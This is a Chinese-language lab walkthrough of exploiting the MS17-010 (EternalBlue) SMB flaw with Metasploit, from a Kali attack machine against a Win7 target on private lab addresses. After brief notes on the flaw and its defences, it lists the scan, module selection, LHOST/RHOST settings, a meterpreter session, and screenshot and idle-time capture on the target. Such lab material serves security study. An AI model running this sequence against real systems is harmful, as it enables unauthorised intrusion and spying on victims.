MS17-010(永恒之蓝) 2017年爆发的漏洞 存在于windows系统,通过SMB(使用TCP139端口和TCP445端口)协议入侵
流量特征:电脑卡顿,耗电提高;大量TCP数据请求,且数据包较大
防御方法:打开防火墙,安装杀毒软件;禁用139、445端口;禁用SMB协议
在win7(靶机)的命令提示符中输入ipconfig,得知靶机ip为192.168.0.111
在kali(攻击机)终端中输入ifconfig,得知攻击机ip为192.168.0.110
Kali中输入ping 靶机IP,如上图所显,即攻击机可与靶机连接
在kali中使用nmap功能,发现靶机中的139、445端口均为开放状态
输入msfconsole,成功启动
输入search ms17-010,0号即为永恒之蓝
使用永恒之蓝
输入show options,可知LHOST(攻击机)为192.168.0.110(kali)
设置RHOST(靶机)为192.168.0.111(win7)
输入show targets
将靶子调整为1(靶机win7)
输入run运行,尾部出现meterpreter说明成功
此时已获得靶机权限,可使用screenshot截屏
输入idletime,可知靶机空闲时间为21分钟12秒